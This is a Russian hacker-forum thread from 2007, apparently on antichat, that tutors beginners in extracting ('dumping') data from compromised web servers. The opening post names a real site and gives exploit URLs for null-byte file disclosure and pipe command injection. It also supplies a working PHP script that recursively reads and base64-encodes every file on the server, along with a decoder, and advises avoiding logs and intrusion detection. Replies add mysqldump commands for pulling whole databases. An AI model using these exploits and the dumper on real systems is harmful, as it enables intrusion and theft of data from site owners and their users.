Авторские статьи Дампим. Введение.

Discussion in 'Статьи' started by Talisman, 6 Mar 2007.

  1. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    Ну вот, взлом завершился удачно, точнее он еще завершился? Рут есть, а как думаешь инфу дампить будешь? Конечно, если ты это умеешь, то статья не для тебя, я в ней хочу рассказать о некоторых идеях и методах дампа - воистину святого слова!
    Эта статья нацелена на начинающих дамперов - будем рассматривать дамп с веб-серверов, в принципе, от реального дампа сервера он почти ничем не отличается.
    Большинство начинающих взломщиков опускают руки, когда на шелле видят почти всё большинство вкусных функций продизейбленными)
    Итак, какие хорошие функции PHP нам могут вырубить?
    во первых - системные вызовы, чтобы мы не могли юзать архиваторы ОС сервера.
    Сейчас я хочу рассказать о двух принципиально различных видах дампа:
    1. когда дампер заливаем на сервер
    2. когда дампим через какую-нибудь багу (например, текстовый инклуд)
    В первом случае мы добиваемся залития нашего кода в исполняемую диру на сервер - например какой-нибудь шелл, поддерживающий дамп. Самый лучший метод, хотя более палевный.
    Плюсы:
    • более быстрый метод
    • с легкостью дампятся файлы любого типа
    Минусы:
    • Возможный непреодолимый таймлимит на выполнение
    • палится наличие файла (если не инклудим дампер в память)
    Подводные камни:
    • на время отдачи (можно решить скоростью скачки)
    • ну и более жестоко - размер отдаваемого содержимого, приходится разбивать на "партии"
    Во втором случае (например - текстовый инклуд) нам нужно юзать дампер-клиент, который сам будет составлять запросы, обращаться к баге, и выдирать содержимое файла. Более медленный, менее палевный (смотря как посылать запросы - постом или гетом, не стоит ли идс на нагрузку к скриптам (например, быстро палится через веб-статистику))
    Плюсы:
    • Пофиг на таймлимиты
    • более частая ошибка (хотя спорно)
    • связанных с БД таких ошибок больше.
    • более удобный интерфейс админки - можно подгружать только то, что нужно
    Минусы:
    • Палится в логах (елси юзать гет - куча записей обращений) ну и в менеджерах статистики - пиковая нагрузка, даже если юзаем POST
    • сложнее в реализации
    • не всегда удобно(даже можно) дампить все типы файлов
    • иногда возникают значительные проблемы с перекодировкой
    Подводные камни:
    • жестокие админы, непрерывно зырящие логи
    • "антидос" системы, тогда заметно снижается скорость... (
    Теперь подробнее о методах реализации первого метода: из его описания должно быть все понятно - или возможность залить исполняемый код на сервер, или его проинклудить/исполнить.

    Второй способ более красивый и частонаблюдаемый:
    • инъекция кода запроса к бд
    • ну и тупые инклудинги файлов (будь то новости и т.д.)
    Но из-за некоторых сложностей в реализации большинство начинающих крякеров идут лесом, максимум что делают - пытаются надыбать конфиги форума, сайта... очень часто это помогает для дальнейшего проникновения и перехода к первому случаю.
    Теперь примерчики ко 2му случаю:
    типичная ошибка - открытие файла(будь то результаты голосования), как например тут:
    Code:
    http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=vote.pl%00

    вместо:
    Code:
    http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=14-08-2005

    тут использована типичная ошибка нулевого байта :)
    ЗЫ тут специально опускаем фичу с вертикальной палкой:
    Code:
    http://www.neogame.ru/cgi-bin/vote/vote.pl?action=show&id=|ls%00
    - просто выполняем команду :))) т.е. можем перейти к 1 случаю.
    аналогичные ошибки допускаются и в пхп-сценариях.
    ну и классика - майсекл, статей полно, поэтому просто приведу ссылки: http://forum.antichat.ru/thread28461-%E4%E0%EC%EF%E5%F0.html - очень вкусная вещь от Elekt

    Вкусности:
    http://forum.antichat.ru/thread32196-%E4%E0%EC%EF%E5%F0.html - отличный дампер майсекл
    ну и чтоб статья не была голословной по поводу самописок в первом случае - вот код дампера:
    ЗЫ работает даже почти при всех продизейбленных функциях, что есть гуд.
    PHP:
    <?php
      
    function scan_dir($dirname
      { 
     echo 
    base64_encode($dirname.';').';';
        GLOBAL 
    $text$retext
        
    $dir opendir($dirname); 
        while ((
    $file readdir($dir)) !== false
        { 
          if(
    $file != "." && $file != ".."
          { 
          if(
    is_file($dirname."/".$file)) 
            { 
            
    $f fopen($dirname.'/'.$file,"r");
            
    $out=fread($f,filesize($dirname."/".$file));
            
    fclose ($f);
            echo 
    base64_encode($dirname.'/'.$file.';'.base64_encode($out)).';';
            } 
            if(
    is_dir($dirname."/".$file)) 
            { 
              
    scan_dir($dirname."/".$file); 
            } 
          } 
        } 
        
    closedir($dir); 
      }
      
    scan_dir('..');
    ?>
    а вот декодер полученного дампа:
    PHP:
    <?
    set_time_limit(0);
    $datafile=file('data.txt');
    $data='';
    foreach(
    $datafile as $dataline)
    {
      
    $data.=$dataline;
    }
    $files=explode(';',$data);
    foreach(
    $files as $bf)
    {
              list(
    $path,$out)=explode(";"base64_decode($bf));
              
    $q=strpos(base64_decode($bf),';');
              
    $path=substr(base64_decode($bf),0,$q);
              
    $out=substr(base64_decode($bf),$q+1);
              
    $path=substr($path,3);
    echo 
    $path;
            if(
    $out=='')
            { 
            
    mkdir('mai/2/'.$path);
    }else{
            echo 
    'mai/2/'.$path;
            
    $f fopen('mai/2/'.$path,"a");
            
    fputs ($f,$out);
            
    fclose ($f);
            }

    }
    ?>
    идея элементарная - рекурсивно проходимся по директориям веб-сервера, при заходе в директорию добавляем в дамп ее имя закодированной бейс64 (для надежности :) ) ну и если в директории есть файлы, выводим имя файла; дамп файла тоже в бейс 64.
    Ну а декодер проделывает все в обратном порядке)

    Отмазки: за то, как вы это используете я не отвечаю и отвечать не буду. Код предоставлен как есть :) ну и статья - повод для размышлений.
     
    #1 Talisman, 6 Mar 2007
    Last edited by a moderator: 8 Mar 2007
    13 people like this.
  2. flipper

    flipper Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    131
    Likes Received:
    85
    Reputations:
    29
    Что бы базу слить можно в консоли набрать:
    mysqldump -uroot imyaBD > imyaBD.sql
    Если рут есть, или если прав хватает...
     
    #2 flipper, 6 Mar 2007
    Last edited: 6 Mar 2007
  3. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    2 flipper:
    да) логическая ошибка - в начале спрашиваю про рут, а потом напоминаю про дизабленные функции.
    просто если уже есть рут, то дамп - не проблема как правило, главное синтаксис знать:)
     
    1 person likes this.
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    черный на темно срером...
    не видно не фига отредактируй цвет шрифта...
     
    1 person likes this.
  5. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    спс, не заметил... у меня моник отлично выделяет просто :)
     
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    если база весит 4-5гигов то поможет только
    mysqldump -uuser -ppass base.table > dump.sql
     
    2 people like this.
  7. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    713
    Likes Received:
    142
    Reputations:
    50
    если база весит 4-5гигов а у вас мопед, то уже ниче не поможет)
     
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    поможет win/nix дедик.
     
  9. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    2 DRON-ANARCHY
    поможет волшебная связка tar+gzip +)
     
    _________________________
  10. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    у каждого свои способы....
     
  11. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    Скриптом влёт можно выкачать......тот же dumper к примеру, легко возьмет.

    и будет размер 985 мегов)
     
  12. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Ну не знаю каким вы скриптом выкачиваете давайте я даю бд правдо там sybase...
    Но все же...
    На мой взгляд один лучших скриптов (phpmyadmin) допустим с 10 лямами записей...
    приходиться выкачивать по 500к может быть я что то не так делаю если вы мне подскажите буду только рад.

    Желающие подтвердить слова в icq.